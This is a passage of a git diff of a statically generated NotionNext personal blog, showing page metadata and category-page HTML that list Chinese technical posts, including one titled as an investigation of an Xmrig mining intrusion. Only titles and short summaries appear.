u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"category":"心情随笔"},"__N_SSG":true},"page":"/category/[category]","query":{"category":"心情随笔"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/category/\346\212\200\346\234\257\345\210\206\344\272\253.html" "b/category/\346\212\200\346\234\257\345\210\206\344\272\253.html"
index cf0256ec9..a13f36383 100644
--- "a/category/\346\212\200\346\234\257\345\210\206\344\272\253.html"
+++ "b/category/\346\212\200\346\234\257\345\210\206\344\272\253.html"
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>技术分享 | Category | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="技术分享 | Category | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//category/技术分享"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="技术分享 | Category | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/category/%5Bcategory%5D-870f14c329d4c7e1.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas 